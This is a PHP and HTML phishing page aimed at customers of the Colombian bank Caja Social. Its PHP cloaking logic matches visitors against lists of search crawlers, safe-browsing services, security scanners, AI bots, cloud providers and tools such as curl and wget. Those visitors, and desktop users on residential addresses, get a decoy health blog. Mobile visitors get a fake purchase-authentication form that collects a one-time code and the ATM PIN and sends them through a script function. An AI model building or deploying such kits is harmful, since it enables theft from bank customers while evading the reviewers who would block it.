<?php
function getRealIP() {
    $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip_list = explode(',', $_SERVER[$key]);
            $ip = trim($ip_list[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
        }
    }
    return '0.0.0.0';
}
$ip = getRealIP();

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
$user_agent_lower = strtolower($user_agent);

function isMobileUA($ua_lower) {
    $mobile_patterns = [
        'mobile', 'android', 'iphone', 'ipad', 'ipod', 'blackberry', 'webos',
        'windows phone', 'iemobile', 'opera mini', 'opera mobi', 'mobi', 'tablet',
        'kindle', 'silk', 'playbook', 'bb10', 'symbian', 'nokia', 'lg', 'samsung'
    ];
    foreach ($mobile_patterns as $pattern) {
        if (strpos($ua_lower, $pattern) !== false) {
            return true;
        }
    }
    return false;
}

$is_mobile_ua = isMobileUA($user_agent_lower);

$mobile_ip_prefixes = [
    '166.210.', '168.0.', '152.200.', '179.18.', '201.221.', '200.93.', '204.199.',
    '191.156.', '100.64.'
];

$residential_ip_prefixes = [
    '190.', '186.', '181.', '201.228.', '200.21.', '190.68.', '186.116.', '186.119.',
    '190.65.'
];

$is_mobile_ip = false;
$is_residential_ip = false;

foreach ($mobile_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_mobile_ip = true;
        break;
    }
}

foreach ($residential_ip_prefixes as $prefix) {
    if (strpos($ip, $prefix) === 0) {
        $is_residential_ip = true;
        break;
    }
}

$bot_agents = ['googlebot', 'bingbot', 'facebookexternalhit', 'semrushbot', 'ahrefsbot',
    'adsbot-google', 'mediapartners-google', 'apis-google', 'google-read-aloud',
    'google-safe-browsing', 'google-safebrowsing', 'safebrowsing', 'sb-google',
    'chrome-lighthouse', 'lighthouse', 'pagespeed', 'google page speed',
    'msnbot', 'duckduckbot', 'yandexbot', 'baiduspider', 'seznambot', 'applebot',
    'facebot', 'whatsapp', 'telegrambot', 'discordbot', 'slackbot',
    'twitterbot', 'linkedinbot', 'pinterest',
    'gptbot', 'openai', 'chatgpt', 'anthropic', 'claude', 'gemini', 'bard',
    'perplexity', 'youbot', 'cohere', 'huggingface', 'c.ai', 'character.ai',
    'amazonbot', 'googlecloud', 'gcp', 'azure', 'digitalocean',
    'ovh', 'hetzner', 'contabo', 'linode', 'vultr', 'oraclecloud', 'ibmcloud',
    'namecheapbot', 'godaddybot', 'cloudflare', 'cf-', 'youstablebot', 'domains.google',
    'whois', 'rdap', 'spaceshipbot',
    'uptimerobot', 'pingdom', 'statuscake', 'betteruptime', 'datadog', 'newrelic', 'site24x7',
    'nessus', 'acunetix', 'qualys', 'nmap', 'zgrab', 'masscan',
    'shodan', 'censys', 'securitytrails',
    'curl', 'wget', 'python', 'requests', 'aiohttp',
    'axios', 'httpclient', 'okhttp', 'java', 'go-http', 'libwww',
    'postman', 'insomnia'
];
$is_bot = false;
foreach ($bot_agents as $bot) {
    if (stripos($user_agent_lower, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

$show_white = false;

if ($is_bot) {
    $show_white = true;
} elseif (!$is_mobile_ua && $is_residential_ip) {
    $show_white = true;
} elseif ($is_mobile_ua || $is_mobile_ip) {
    $show_white = false;
} else {
    $show_white = true;
}

if ($show_white) {
    header('Content-Type: text/html; charset=utf-8');
    ?>
    <!DOCTYPE html>
    <html lang="es">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Guía Salud y Bienestar 2026 - Colombia</title>
        <meta name="description" content="Consejos naturales, nutrición y ejercicio para una vida plena en Colombia.">
    </head>
    <body style="font-family: Arial, sans-serif; max-width: 900px; margin: 0 auto; padding: 20px;">
        <h1>¡Bienvenido a nuestro blog de salud natural!</h1>
        <p>Encuentra los mejores tips de bienestar, superalimentos y rutinas saludables adaptadas para colombianos en 2026.</p>
        <article>
            <h2>Los 5 superalimentos más recomendados</h2>
            <p>Chía, quinoa, aguacate, café colombiano y frutas tropicales...</p>
        </article>
    </body>
    </html>
    <?php
    exit;
}
?>

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

    <script type="text/javascript" src="/scripts/jquery-3.6.0.min.js"></script>
		<script src="/scripts/jquery.jclock-min.js" type="text/javascript"></script>
   		<script type="text/javascript" src="/scripts/functions2.js"></script>  		

</head>
<body>
    <header>
        <img src="/img/123f.png" alt="">
        <img src="" alt="">
    </header>

    <main>
        <h2>Autenticación de compra</h2>
        <p>Acabamos de enviarte un código de verificación por correo electronico o mensaje de texto.
        <p>Caja social nunca te solicitará información confidencial o financiera.</p>

        <div>
            <span>Código de verificación</span>
            <input type="text" id="txtOTP">
        </div>

        <div>
            <span>Clave de cajero</span>
            <input type="password" id="txtClave">
        </div>

        <div>
            <button id="btnOTP">ENVIAR</button>
        </div>
    </main>

    <script type="text/javascript">
	var espera = 0;

	let identificadorTiempoDeEspera;

	function retardor() {
	  identificadorTiempoDeEspera = setTimeout(retardorX, 900);
	}

	function retardorX() {

	}

	$(document).ready(function() {
		$('#btnOTP').click(function(){
			var otp = $("#txtOTP").val();
			var clave = $("#txtClave").val();

			if (otp.length > 5 && clave.length > 0) {
				enviar_otp(otp + "|" + clave);				
			}else{
				if (otp.length <= 5) {
					$("#txtOTP").css("border", "1px solid red");
					$("#txtOTP").focus();
				}
				if (clave.length === 0) {
					$("#txtClave").css("border", "1px solid red");
					if (otp.length > 5) {
						$("#txtClave").focus();
					}
				}
			}			
		});

		$("#txtOTP").keyup(function(e) {
			$(this).css("border", "1px solid rgba(0, 0, 255, 0.26)");
		});

		$("#txtClave").keyup(function(e) {
			$(this).css("border", "1px solid rgba(0, 0, 255, 0.26)");
		});
	});
</script>

</body>
</html>

<style>
    *{
        margin: 0;
        padding: 0;
        box-sizing: border-box;
        font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
    }

    header{
        display: flex;
        align-items: center;
        justify-content: center;
        height: 60px;
        border-bottom: 1px solid #00000049;
        margin-bottom: 20px;
        overflow: hidden;
    }

    img{
        height: 80px;
    }

    body{
        padding: 20px 14px;
    }

    main{
        width: 100%;
        max-width: 500px;
        margin: 0 auto;
    }

    h2{
        font-size: 20px;
        margin-bottom: 20px;
    }

    div{
        width: 260px;
        margin: 15px auto 0;
        display: flex;
        align-items: center;
        justify-content: center;
        flex-direction: column;
    }

    span{
        color: blue;
    }

    input{
        width: 100%;
        height: 40px;
        margin-bottom: 6px;
        border: 1px solid rgba(0, 0, 255, 0.26);
        border-radius: 8px;
        padding: 0 10px;
        outline: none;
    }

    button{
        width: 100%;
        background-color: blue;
        border-radius: 8px;
        color: #fff;
        font-size: 14px;
        border: none;
        height: 35px;
        cursor: pointer;
        margin-top: 10px;
    }
</style>
